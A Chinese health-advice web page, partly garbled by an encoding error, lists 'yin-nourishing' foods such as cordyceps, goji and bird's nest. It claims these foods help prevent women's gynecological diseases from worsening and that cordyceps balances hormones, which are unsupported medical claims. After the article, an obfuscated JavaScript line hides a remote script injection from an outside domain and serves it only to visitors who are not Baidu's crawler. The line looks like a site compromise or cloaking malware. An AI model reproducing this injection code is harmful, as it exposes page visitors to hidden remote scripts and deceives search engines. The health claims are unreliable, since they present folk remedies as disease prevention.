當(dāng)前位置:首頁(yè) > 飲食 > 健康飲食 > 正文

滋陰的食物有哪些呢

2017-04-21 19:40:45  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):最近很多女性朋友都非常容易出現(xiàn)各種各樣的婦科疾病,出現(xiàn)婦科疾病的主要原因就是由于我們對(duì)于自己的陰部衛(wèi)生,沒(méi)有引起高度重視,如果這種

最近很多女性朋友都非常容易出現(xiàn)各種各樣的婦科疾病,出現(xiàn)婦科疾病的主要原因就是由于我們對(duì)于自己的陰部衛(wèi)生,沒(méi)有引起高度重視,如果這種情況不能夠及時(shí)有效的治療的話,病情就會(huì)更加嚴(yán)重,可以服用一些滋陰的食物來(lái)預(yù)防疾病出現(xiàn)惡化的情況,下面就讓我們一起了解一下滋陰的食物有哪些呢吧。

1蟲草:潤(rùn)肺補(bǔ)腎、化痰止汗 枸杞子:滋陰補(bǔ)血、養(yǎng)精明目 西洋參:生津健胃、益肺補(bǔ)虛 淮山藥:健脾滋腎、斂汗縮尿 桑寄生:養(yǎng)血除痹、強(qiáng)壯筋骨 石斛:滋肺益胃、養(yǎng)陰明目 百合:潤(rùn)肺止咳、養(yǎng)心安神 紅棗:健脾益胃、滋腎生血 栗子:健脾補(bǔ)腎、壯腰、抗衰老 黨參:健脾益氣、生津養(yǎng)血、增強(qiáng)抵抗力 燕窩:補(bǔ)肺養(yǎng)陰、治虛勞、助消化、治盜汗 銀耳:滋肺生津、滋陰養(yǎng)胃、益氣強(qiáng)心、補(bǔ)腦 木瓜:消滯清腸、舒肝 菠菜:含鐵質(zhì)、胡蘿卜素極為豐富,能補(bǔ)血潤(rùn)腸、助消化

2.女性由于有內(nèi)熱,所以進(jìn)補(bǔ)時(shí)絕不宜食用過(guò)溫?zé)岬氖澄?,如人參和鹿茸,否則會(huì)令陽(yáng)火過(guò)旺,尤如火上加油,令體內(nèi)津液燃燒得更快。其實(shí),陰虛女性選擇補(bǔ)品時(shí)應(yīng)以滋補(bǔ)肝腎和育陰養(yǎng)顏為原則,當(dāng)中,冬蟲草是不錯(cuò)的選擇。營(yíng)養(yǎng)專家指出,冬蟲草可說(shuō)是“百搭”品,其性質(zhì)平和,不寒不燥,適合大部分人食用。冬蟲草一向具有補(bǔ)肺、補(bǔ)腎和護(hù)肝養(yǎng)肝的功效,主治由肺腎兩虛引起的咳嗽氣促?,F(xiàn)代醫(yī)學(xué)更發(fā)現(xiàn)其具有平衡荷爾蒙和提高免疫力的作用,補(bǔ)益效用相當(dāng)多,最適合肝腎陰虛人士食用。

滋陰的食物有哪些呢我們的女性朋友們一定要引起特別關(guān)注,一定要多吃一些以上介紹的食物不僅可以幫助我們品嘗到美味,還可以有效地幫助我們達(dá)到滋陰的目的,希望能夠給大家?guī)?lái)一些幫助,擺脫婦科疾病給我們帶來(lái)的傷害。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}